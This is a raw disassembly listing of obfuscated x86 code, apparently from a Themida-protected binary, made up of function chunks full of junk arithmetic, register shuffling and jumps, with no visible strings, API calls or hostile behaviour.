; START	OF FUNCTION CHUNK FOR sub_59196D


loc_590EF4:				; CODE XREF: sub_59196D-6216j
		pop	eax
		jmp	loc_5925F5
; ---------------------------------------------------------------------------


loc_590EFA:				; CODE XREF: sub_59196D+10B4j
		push	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+24h+var_26+2]
		pop	esp
		jmp	loc_58C30E
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_590F10:				; DATA XREF: Themida_:0058B0A0o
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		push	edi
		push	ebx
		jmp	loc_595C86
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_590F23:				; CODE XREF: sub_59196D-113Fj
		mov	esi, ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		neg	eax
		shl	eax, 2
		jmp	loc_58C6DD
; ---------------------------------------------------------------------------


loc_590F33:				; CODE XREF: sub_59196D+137Cj
		xor	edi, [esp+14h+var_16+2]
		jmp	loc_58D945
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		push	3077h
		mov	[esp], ebx
		jmp	loc_58F9DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_590F51:				; CODE XREF: sub_59196D-4DE1j
		mov	bl, 0EBh
		shr	bl, 4
		shr	bl, 3
		jmp	loc_594718
; ---------------------------------------------------------------------------


loc_590F5E:				; CODE XREF: sub_59196D-8Bj
		not	ch
		xchg	dl, ch
		not	dl
		jmp	loc_58E85B
; ---------------------------------------------------------------------------


loc_590F69:				; CODE XREF: sub_59196D+1B17j
		xchg	eax, [esp+28h+var_2A+2]
		pop	esp
		mov	[esp+24h+var_26+2], edi
		mov	edi, 2
		jmp	loc_58D452
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_590F7A	proc near		; CODE XREF: sub_59196D+61BEj

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], esi
		jmp	loc_592E7E
sub_590F7A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_590F88:				; CODE XREF: sub_59196D+3CA4j
		shr	ecx, 2
		jnz	loc_5925C9
		add	ecx, 2771231Dh
		push	esi
		mov	esi, ecx
		pop	ecx


loc_590F9B:				; CODE XREF: sub_59196D-4E3Cj
		pop	esp
		xchg	eax, [esp+20h+var_22+2]
		jmp	loc_58F440
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590BE0


loc_590FA4:				; CODE XREF: sub_59196D-32D6j
					; sub_590BE0+19j
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		pop	dword ptr [esp+0]
		add	dword ptr [esp+0], 4
		push	dword ptr [esp+0]
		pop	ebx
		push	edx
		jmp	loc_58FC9A
; END OF FUNCTION CHUNK	FOR sub_590BE0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_590FBF:				; CODE XREF: sub_59196D+49AEj
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		jmp	loc_593DDB
; ---------------------------------------------------------------------------


loc_590FCC:				; CODE XREF: sub_59196D+5C39j
		mov	[esp+24h+var_26+2], edx
		mov	edx, esp
		push	6279h
		mov	[esp+28h+var_2A+2], ebx
		push	4
		mov	ebx, [esp+2Ch+var_2E+2]
		add	esp, 4
		add	edx, 9D26D58h
		add	edx, ebx
		jmp	loc_595779
; ---------------------------------------------------------------------------


loc_590FF1:				; CODE XREF: sub_59196D-1940j
		push	0E0F09E1h
		pop	ecx
		xchg	esi, ecx
		not	esi
		jmp	loc_58F0D0
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_591000	proc near		; CODE XREF: sub_59196D+131Fj
		sub	esp, 4
		jmp	loc_593C68
sub_591000	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_591008:				; CODE XREF: sub_59196D+6BC4j
		pop	esi
		add	ecx, 6CE8A1C5h
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp+8+var_8]
		pop	esp
		push	ebp
		mov	ebp, 32321166h
		sub	ecx, ebp
		pop	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_595F29
; ---------------------------------------------------------------------------


loc_591033:				; CODE XREF: sub_59196D+25A4j
		sub	eax, 259B02Ch
		mov	ebx, eax
		pop	eax
		jmp	loc_5922A4
; ---------------------------------------------------------------------------


loc_591040:				; CODE XREF: sub_59196D-5EB5j
		mov	ebx, 135418E3h
		sub	edi, ebx
		pop	ebx
		xor	ecx, edi
		mov	edi, [esp+10h+var_12+2]
		add	esp, 4
		push	2365h
		mov	[esp+10h+var_12+2], eax
		push	esi
		jmp	loc_593F02
; ---------------------------------------------------------------------------


loc_59105E:				; CODE XREF: sub_59196D+6CB3j
		pop	edx
		push	1B54h
		mov	[esp+14h+var_16+2], ecx
		mov	ch, 1Ch
		add	ch, 0Ch
		sub	al, 0A0h
		add	al, ch
		add	al, 0A0h
		jmp	loc_596647
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_591077	proc near		; CODE XREF: sub_59196D+D1Bj

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		jmp	loc_592911
sub_591077	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_591082:				; CODE XREF: sub_59196D+6084j
		sub	edi, 89D035FDh
		sub	ebx, edi
		pop	edi
		push	edx
		mov	edx, 1D1C64ADh
		shr	edx, 1
		xor	edx, 82E3F18h
		jmp	loc_58BB52
; ---------------------------------------------------------------------------


loc_59109E:				; CODE XREF: sub_59196D+4407j
		add	ebx, esi
		pop	esi
		jmp	loc_58E5F5
; ---------------------------------------------------------------------------


loc_5910A6:				; CODE XREF: sub_59196D-4802j
		and	esi, 37935EB4h
		neg	esi
		jnp	loc_58D9E2
		not	esi
		xor	esi, 10035A1Dh
		sub	edx, esi
		pop	esi
		xor	edx, [esp+8+var_8]


loc_5910C2:				; CODE XREF: sub_59196D-610j
		pop	edi
		pop	edx
		push	3859h
		jmp	loc_5905B5
; ---------------------------------------------------------------------------


loc_5910CE:				; CODE XREF: sub_59196D+3FBCj
		pop	dword ptr [eax]
		push	dword ptr [esp+0]
		mov	edi, [esp+4+var_4]
		add	esp, 4
		jmp	sub_590932
; ---------------------------------------------------------------------------


loc_5910E1:				; CODE XREF: sub_59196D+4CA3j
		add	ebx, edx
		pop	edx
		jmp	loc_58E53C
; ---------------------------------------------------------------------------


loc_5910E9:				; CODE XREF: sub_59196D+17C3j
		pop	edx
		xor	edx, 10FC68A5h
		neg	edx
		shr	edx, 1
		push	edx
		sub	[esp-4+arg_0], 0FFFFFFFFh
		jmp	loc_5956AD
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_58E22B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_591115:				; CODE XREF: sub_59196D+5C9j
		pop	ebp
		jmp	loc_59456A
; ---------------------------------------------------------------------------


loc_59111B:				; CODE XREF: sub_59196D+69F8j
		pop	eax
		shr	eax, 4
		js	loc_58C2B0
		jmp	loc_58BBBE
; ---------------------------------------------------------------------------


loc_59112A:				; CODE XREF: sub_59196D+141Aj
		and	esi, 3BDA1FE7h
		jbe	loc_592455
		xor	esi, 0C77FFB99h
		jmp	loc_598336
; ---------------------------------------------------------------------------


loc_591141:				; CODE XREF: sub_59196D-507Dj
		shr	eax, 1
		add	eax, 0D454E886h
		sub	esi, eax
		jmp	loc_59279A
; ---------------------------------------------------------------------------


loc_59114F:				; CODE XREF: sub_59196D+3F1Fj
		push	esp
		mov	edx, [esp+3Ah+var_3C+2]
		add	esp, 4
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+36h+var_36]
		mov	esp, [esp+36h+var_36]
		mov	[esp+36h+var_36], ebp
		mov	ebp, 168B1809h
		add	ebp, 47D87810h
		sub	ebp, 0FFFFFFFFh
		shl	ebp, 4
		push	ebx
		mov	ebx, 7FBF42E9h
		add	ebp, ebx
		pop	ebx
		add	ebp, 6F1B9A85h
		sub	edx, ebp
		pop	ebp
		and	eax, edx
		pop	edx
		or	eax, eax
		jz	loc_592C0C
		push	dword ptr [edi+1Ch]
		add	[esp+32h+var_32], 32321166h
		mov	ecx, [esp+32h+var_32]
		push	ebx
		sub	esp, 4
		push	esp
		pop	[esp+3Eh+var_40+2]
		add	[esp+3Ah+var_3C+2], 4
		pop	ebx
		add	ebx, 4
		push	ecx
		mov	ecx, 6BB80E01h
		and	ecx, 170F727Eh
		sub	ecx, 75C7CF9h
		jb	loc_598507
		xor	ecx, 6AB25BB1h
		sub	ecx, 83616976h


loc_5911E0:				; CODE XREF: sub_59196D-291Aj
		xchg	esi, [esp+3Ah+var_3C+2]
		pop	esp
		jmp	loc_591614
; ---------------------------------------------------------------------------


loc_5911E9:				; CODE XREF: sub_59196D+685Cj
		push	edx
		mov	dh, 66h
		sub	dh, 8Ch
		xor	dh, 6Ch
		jmp	loc_596F0A
; ---------------------------------------------------------------------------


loc_5911F7:				; CODE XREF: sub_59196D+6B80j
		sub	ebx, 0FFFFFFFFh
		shr	ebx, 7
		jz	loc_596D03
		jmp	loc_58C0F3
; ---------------------------------------------------------------------------


loc_59120B:				; CODE XREF: sub_59196D+1193j
		add	edx, 49765BB8h
		sub	edx, 643F30FEh
		xor	edx, 35285BD5h
		sub	edi, edx
		pop	edx
		push	ecx
		jmp	loc_58C506
; ---------------------------------------------------------------------------


loc_591226:				; CODE XREF: sub_59196D-2328j
		mov	bx, word ptr [esp-0Ch+arg_8]
		add	esp, 2
		push	[esp-10h+arg_C]
		mov	ecx, [esp-0Ch+arg_8]
		add	esp, 4
		jmp	loc_58B4AE
; ---------------------------------------------------------------------------


loc_59123E:				; CODE XREF: sub_59196D-104j
		mov	ebp, 5B627D53h
		inc	ebp
		shr	ebp, 6
		shl	ebp, 2
		add	ebp, 0FA49D830h
		add	esi, 16560638h
		add	esi, ebp
		sub	esi, 16560638h
		jmp	loc_592495
; ---------------------------------------------------------------------------


loc_591263:				; CODE XREF: sub_59196D+2102j
		pop	ebp
		push	edx
		not	[esp-10h+arg_C]
		jmp	loc_590EA0
; ---------------------------------------------------------------------------


loc_59126D:				; CODE XREF: sub_59196D-3E58j
		mov	esi, [esp+1Ch+var_1E+2]
		add	esp, 4
		add	edx, 2
		xchg	edx, [esp+18h+var_1A+2]
		pop	esp
		mov	ax, word ptr [esp+14h+var_16+2]
		push	27D7h
		jmp	loc_58DA48
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_59128B	proc near		; CODE XREF: sub_59196D-12FBj

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058DB39 SIZE 00000008 BYTES

		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], esi
		push	ebx
		mov	ebx, 2183A6Fh
		sub	ebx, 0EECADB82h
		push	ebx
		add	[esp+4+var_4], 0EE1C6Fh
		pop	esi
		sub	esi, 0EE1C6Fh
		pop	ebx
		add	ecx, esi
		pop	esi
		add	ecx, edi
		push	ebp
		mov	ebp, 134D5EEDh
		sub	ecx, 7C903F55h
		sub	ecx, ebp
		add	ecx, 7C903F55h
		pop	ebp
		mov	[ecx], al
		mov	ecx, [esp+0]
		jmp	loc_58DB39
sub_59128B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_5912E1:				; CODE XREF: Themida_:0058EFEBj
		jmp	loc_58B37B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_5912E6:				; CODE XREF: sub_59196D+24BAj
		pop	edi
		xor	edx, ebx
		mov	ebx, [esp+14h+var_16+2]
		add	esp, 4
		jmp	loc_58DE79
; ---------------------------------------------------------------------------


loc_5912F7:				; CODE XREF: sub_59196D-10EDj
		add	edi, 77FB6DDFh
		jmp	loc_5907C7
; ---------------------------------------------------------------------------


loc_591302:				; CODE XREF: sub_59196D-6544j
		pop	esi
		add	ecx, edx
		pop	edx
		mov	[edx+30h], ecx
		mov	ecx, [esp+0]
		add	esp, 4
		popa
		popf
		retn
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		jmp	loc_58B37B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_591317:				; CODE XREF: sub_59196D+5FD0j
		mov	word ptr [esp-28h+arg_24], dx
		push	ax
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_591323:				; CODE XREF: sub_59196D+26FFj
		pop	esp
		mov	[esp-26h+arg_20+2], esi
		push	18EBh
		mov	[esp-22h+arg_1C+2], edi
		jmp	loc_59654E
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D7D7


loc_591334:				; CODE XREF: sub_58D7D7+Ej
		pop	ecx
		jmp	loc_590132
; END OF FUNCTION CHUNK	FOR sub_58D7D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_59133A:				; CODE XREF: sub_59196D-4254j
		mov	ebx, 66E46C0Bh
		jmp	loc_59176D
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_591344	proc near		; CODE XREF: sub_59196D+14E2j

; FUNCTION CHUNK AT 0058E554 SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		push	esi
		jmp	loc_58E554
sub_591344	endp

; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_58F780
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_591359:				; CODE XREF: sub_59196D-6401j
		sub	[esp+18h+var_16+2], edi
		jmp	loc_5910C2
; ---------------------------------------------------------------------------


loc_591362:				; CODE XREF: sub_59196D-27A1j
		xor	dl, 84h
		sub	al, 19h
		jmp	loc_58D71E
; ---------------------------------------------------------------------------


loc_59136C:				; CODE XREF: sub_59196D+69D6j
		push	[esp+20h+var_22+2]
		mov	ecx, [esp+24h+var_26+2]
		add	esp, 4
		push	3A18h
		mov	[esp+24h+var_26+2], edx
		mov	edx, esp
		jmp	loc_594814
; ---------------------------------------------------------------------------


loc_591387:				; CODE XREF: sub_59196D-3BDEj
		shr	edi, 1
		push	edx
		jmp	loc_59822C
; ---------------------------------------------------------------------------


loc_59138F:				; CODE XREF: sub_59196D-5714j
		sub	edi, eax
		pop	eax
		mov	esi, edi
		pop	edi
		jmp	loc_590C68
; ---------------------------------------------------------------------------


loc_59139A:				; CODE XREF: sub_59196D+67CAj
		and	edx, 40413B1Dh
		add	edx, 0F201DFFDh
		sub	eax, edx
		pop	edx
		add	eax, esi
		jmp	loc_58B577
; ---------------------------------------------------------------------------


loc_5913B0:				; CODE XREF: sub_59196D-E9Fj
		pop	esp
		sub	esp, 4
		mov	[esp+3Ch+var_3C], ecx
		push	edx
		mov	edx, 490B5062h
		sub	esp, 4
		mov	[esp+44h+var_44], ebp
		mov	ebp, 490B5061h
		push	esi
		jmp	loc_592F3A
; ---------------------------------------------------------------------------


loc_5913D4:				; CODE XREF: sub_59196D+E64j
		mov	ch, 89h
		mov	al, ch
		pop	ecx
		add	al, 8Ah
		mov	bl, al
		jmp	loc_593A24
; ---------------------------------------------------------------------------


loc_5913E2:				; CODE XREF: sub_59196D+3E79j
		pop	ebp
		mov	ebx, [esp+40h+var_40]
		add	esp, 4
		or	ecx, ecx
		jz	loc_593723
		push	6484h
		mov	[esp+40h+var_40], esp
		push	ebp
		push	eax
		jmp	loc_598445
; ---------------------------------------------------------------------------


loc_591400:				; CODE XREF: sub_59196D+2136j
		xor	edi, ebp
		pop	ebp
		mov	esi, edi
		pop	edi
		push	edx
		mov	edx, 11A20492h
		push	edx
		jmp	loc_596814
; ---------------------------------------------------------------------------


loc_591412:				; CODE XREF: sub_59196D-16A2j
		pop	ecx
		push	edi
		mov	edi, 2
		sub	eax, 76DF5E22h
		add	eax, edi
		jmp	loc_5904F5
; ---------------------------------------------------------------------------


loc_591425:				; CODE XREF: sub_59196D-3C1j
		jl	loc_58D62E
		sub	ecx, 7C663F5Ch
		jmp	loc_5941C2
; ---------------------------------------------------------------------------


loc_591436:				; CODE XREF: sub_59196D+4816j
		push	0A39h
		mov	[esp+1Ch+var_1E+2], ebp
		jmp	loc_592249
; ---------------------------------------------------------------------------


loc_591443:				; CODE XREF: sub_59196D-DC8j
		pop	ecx
		xor	eax, 15DB3148h
		push	ebp
		jmp	loc_591E13
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_59144F:				; CODE XREF: Themida_:00591552j
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	15E7h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	edi
		mov	edi, 6D55495Dh
		sub	edi, 5F3C4981h
		sub	edi, 0E18FFD8h
		push	ebp
		mov	ebp, 0C485E2Dh
		not	ebp
		and	ebp, 0AD35D5Bh
		xor	ebp, 5AF56F7Eh
		not	ebp
		jmp	loc_5968B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_5914A1:				; CODE XREF: sub_59196D-2DE4j
		push	ecx
		mov	ecx, 4D0375C1h
		xor	esi, ecx
		pop	ecx
		jmp	loc_596AED
; ---------------------------------------------------------------------------


loc_5914AF:				; CODE XREF: sub_59196D-4055j
		jns	loc_59246B
		push	esi
		push	edx
		jmp	loc_58E848
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		mov	edi, ebp
		pop	eax
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_5914BF:				; CODE XREF: sub_59196D-4C88j
		add	al, 4Ch
		jmp	loc_593D81
; ---------------------------------------------------------------------------


loc_5914C6:				; CODE XREF: sub_59196D-47CFj
		shr	ecx, 7
		jmp	loc_593B03
; ---------------------------------------------------------------------------


loc_5914CE:				; CODE XREF: sub_59196D-539Bj
		add	edx, esi
		pop	esi
		jmp	loc_590533
; ---------------------------------------------------------------------------


loc_5914D6:				; CODE XREF: sub_59196D-3FA8j
		jmp	loc_59717D
; ---------------------------------------------------------------------------


loc_5914DB:				; CODE XREF: sub_59196D+91Cj
		add	esp, 4
		add	esp, 4
		push	cx
		jmp	loc_593145
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_5914EB	proc near		; CODE XREF: sub_59196D-4843j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebx
		mov	ebx, 4
		add	esi, ebx
		push	[esp+4+var_4]
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		jmp	loc_5963BD
sub_5914EB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_591507:				; CODE XREF: sub_59196D+6159j
		xchg	edx, [esp+0]
		pop	esp
		push	ebx
		jmp	loc_58C06D
; ---------------------------------------------------------------------------


loc_591511:				; CODE XREF: sub_59196D-3B79j
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		push	esi
		push	esi
		push	[esp+36h+var_32]
		pop	esi
		pop	[esp+36h+var_36]
		jmp	loc_594AE8
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_591526	proc near		; DATA XREF: Themida_:0058B1F0o
		mov	cx, [esp+0]
		push	edi
		mov	edi, esp
		push	ebx
		push	eax
		mov	eax, 28E67C6h
		jmp	loc_5932E8
sub_591526	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_591539:				; CODE XREF: sub_59196D-56F9j
		add	esp, 4
		push	2360h
		mov	[esp+1Ch+var_1E+2], eax
		mov	al, 14h
		push	ebx
		mov	bl, 4Bh
		jmp	loc_58F22C
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_59154E:				; DATA XREF: Themida_:0058B0D4o
		mov	cx, [esp]
		jmp	loc_59144F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_591557:				; CODE XREF: sub_59196D-2F90j
		mov	ebp, 0B3D8D6F5h
		jmp	loc_5967AC
; ---------------------------------------------------------------------------


loc_591561:				; CODE XREF: sub_59196D-5219j
		xor	ebp, 25C2748h
		xor	ebp, 6ED062DBh
		shr	ebp, 5
		jmp	loc_5923FA
; ---------------------------------------------------------------------------


loc_591575:				; CODE XREF: sub_59196D-1A93j
		or	ebx, 63230EA2h
		jle	loc_592736
		add	ebx, 61BB3840h
		mov	ebp, ebx
		pop	ebx
		add	eax, ebp
		pop	ebp


loc_59158D:				; CODE XREF: sub_59196D-5706j
		add	esi, 4
		jmp	loc_592A26
; ---------------------------------------------------------------------------


loc_591598:				; CODE XREF: sub_59196D+2AA7j
		mov	[esp+10h+var_12+2], ecx
		push	0E1E5736h
		mov	ecx, [esp+14h+var_16+2]
		add	esp, 4
		xor	ecx, 4DFC7C56h
		jmp	loc_591425
; ---------------------------------------------------------------------------


loc_5915B1:				; CODE XREF: sub_59196D+23CEj
		sub	eax, esi
		push	edi
		jmp	loc_58DD7F
; ---------------------------------------------------------------------------


loc_5915B9:				; CODE XREF: sub_59196D+195j
		xor	edx, 76D5B12h
		mov	edi, edx
		pop	edx
		jmp	loc_58F94A
; ---------------------------------------------------------------------------


loc_5915C7:				; CODE XREF: sub_59196D+67A5j
		mov	[esp+10h+var_12+2], ebx
		mov	ebx, 0
		add	ebx, edx
		mov	[ebx], al
		pop	ebx
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_5915E2:				; CODE XREF: sub_59196D-6343j
					; sub_59196D-DFDj ...
		mov	ebp, eax
		jmp	loc_58B78B
; ---------------------------------------------------------------------------


loc_5915E9:				; CODE XREF: Themida_:loc_58C76Aj
					; sub_59196D+5DABj
		mov	eax, 4
		add	edi, eax
		pop	eax
		push	0EEAh
		mov	[esp+18h+var_1A+2], ebp
		push	edx
		mov	edx, 17F424F9h
		push	eax
		mov	eax, 118A0F12h
		and	eax, 59B413B2h
		add	eax, 1738247Ah
		jmp	loc_5915E2
; ---------------------------------------------------------------------------


loc_591614:				; CODE XREF: sub_59196D-789j
		mov	[esp+36h+var_36], eax
		push	3B22h
		mov	[esp+3Ah+var_3C+2], ebx
		jmp	loc_5943C1
; ---------------------------------------------------------------------------


loc_591624:				; CODE XREF: sub_59196D-1F11j
		add	esp, 4
		jmp	loc_591D51
; ---------------------------------------------------------------------------


loc_59162F:				; CODE XREF: sub_59196D+32D6j
		mov	word ptr [esp+4Eh+var_4E], ax
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_591638:				; CODE XREF: sub_59196D-2B8Fj
		mov	[esp+34h+var_36+2], edx
		mov	edx, esp
		add	edx, 4
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		xchg	edx, [esp+34h+var_36+2]
		mov	esp, [esp+34h+var_36+2]
		push	edx
		jmp	loc_591F3B
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_591660:				; CODE XREF: Themida_:0058C96Fj
		pop	ebx
		sub	dword ptr [esp+4], 5F0E2AFBh
		sub	[esp+4], edi
		add	dword ptr [esp+4], 5F0E2AFBh
		mov	edi, [esp]
		jmp	loc_58F9F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_59167D:				; CODE XREF: sub_59196D+4293j
		sub	edi, 0EE5635DFh
		jmp	loc_596876
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_591688:				; CODE XREF: Themida_:0058E7D3j
		mov	[esp], eax
		jmp	loc_58FBBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_591690:				; CODE XREF: sub_59196D-4AE4j
		imul	cl
		jmp	loc_5974BD
; ---------------------------------------------------------------------------


loc_591697:				; CODE XREF: sub_59196D-36FCj
		pop	ebx
		pop	edi
		sub	esp, 4
		mov	[esp+24h+var_26+2], eax
		mov	eax, 5D9C78C6h
		jmp	loc_5975F1
; ---------------------------------------------------------------------------


loc_5916AC:				; CODE XREF: sub_59196D-276Aj
		sub	ebx, ebp
		pop	ebp
		xor	edx, ebx
		pop	ebx
		and	eax, edx
		mov	edx, [esp+14h+var_16+2]
		push	eax
		jmp	loc_594FC3
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_5916BD:				; DATA XREF: Themida_:0058B0CCo
		mov	ax, [esp]
		jmp	loc_58E7BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_5916C6:				; CODE XREF: sub_59196D-533Fj
		add	[esp+0Ch+var_C], 4
		push	[esp+0Ch+var_C]
		pop	edx
		add	esp, 4
		push	ebx
		push	edx
		push	7042C19h
		pop	edx
		xor	edx, 7042C1Dh
		mov	ebx, edx
		mov	edx, [esp+10h+var_12+2]
		jmp	loc_59368B
; ---------------------------------------------------------------------------


loc_5916EC:				; CODE XREF: sub_59196D+4170j
		xchg	eax, [esp+10h+var_12+2]
		jmp	loc_598352
; ---------------------------------------------------------------------------


loc_5916F4:				; CODE XREF: sub_59196D+2830j
		sub	esi, 0CD37C5Dh
		jge	loc_5924CC
		jmp	loc_5948C1
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		not	ecx
		inc	ecx
		jmp	loc_59709D
; ---------------------------------------------------------------------------


loc_59170D:				; DATA XREF: Themida_:0058B330o
		neg	word ptr [esp]
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_591717:				; CODE XREF: sub_59196D+2CE3j
		jno	loc_590DDA
		neg	esi
		xor	esi, 0FB636B2h
		ja	loc_5983D0
		pop	ecx


loc_59172C:				; CODE XREF: sub_59196D-4CB2j
		shr	edi, 3
		sub	edi, 0ED7A4E0Eh
		and	ebx, edi
		pop	edi
		jmp	loc_58E9D3
; ---------------------------------------------------------------------------


loc_59173D:				; CODE XREF: sub_59196D-B04j
		sub	edx, ebx
		pop	ebx
		jmp	sub_58BB31
; ---------------------------------------------------------------------------


loc_591745:				; CODE XREF: sub_59196D+3F53j
		add	esi, 4
		xchg	esi, [esp+0]
		pop	esp
		sub	ecx, 0C5F2FC0Bh
		mov	edx, ecx
		jmp	loc_594A98
; ---------------------------------------------------------------------------


loc_59175C:				; CODE XREF: sub_59196D-314Dj
		sub	al, 0F8h
		jmp	loc_58D04D
; ---------------------------------------------------------------------------


loc_591763:				; CODE XREF: sub_59196D-B3Cj
		pop	edi
		mov	edi, [esp+28h+var_2A+2]
		push	ecx
		jmp	loc_5974FD
; ---------------------------------------------------------------------------


loc_59176D:				; CODE XREF: sub_59196D-62Ej
		mov	edi, 0B643F596h
		add	edi, ebx
		pop	ebx
		mov	ebp, edi
		pop	edi
		add	ebp, 0FFFFFFFFh
		sub	ebp, 1D28619Ch
		jmp	loc_593CC6
; ---------------------------------------------------------------------------


loc_591786:				; CODE XREF: sub_59196D+5014j
		push	ebp
		mov	ebp, 4
		jmp	loc_58DEF1
; ---------------------------------------------------------------------------


loc_591791:				; CODE XREF: sub_59196D+1A89j
		dec	ecx
		jmp	loc_5906DA
; ---------------------------------------------------------------------------


loc_591797:				; CODE XREF: sub_59196D+4F41j
		mov	edi, ebp
		push	[esp+32h+var_32]
		pop	ebp
		jmp	loc_59535D
; ---------------------------------------------------------------------------


loc_5917A2:				; CODE XREF: sub_59196D+1E89j
		mov	[esp+32h+var_32], eax
		jmp	loc_58F90F
; ---------------------------------------------------------------------------


loc_5917AA:				; CODE XREF: sub_59196D-65CEj
		mov	ecx, 480641D3h
		jmp	loc_597413
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EF7E


loc_5917B4:				; CODE XREF: sub_58EF7E+15j
		mov	ebx, [esp+0]
		add	esp, 4
		jmp	loc_595A3C
; END OF FUNCTION CHUNK	FOR sub_58EF7E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_5917BF:				; CODE XREF: sub_59196D-4849j
		pop	esi
		sub	edx, ebp
		push	ebp
		push	esi
		mov	esi, 592B11B8h
		jmp	loc_597479
; ---------------------------------------------------------------------------


loc_5917CE:				; CODE XREF: sub_59196D+4529j
		pop	esi
		jmp	loc_58CC22
; ---------------------------------------------------------------------------


loc_5917D4:				; CODE XREF: sub_59196D+3381j
		push	cx
		mov	cx, 5BCBh
		sub	ax, cx
		pop	cx
		jmp	loc_58C5C3
; ---------------------------------------------------------------------------


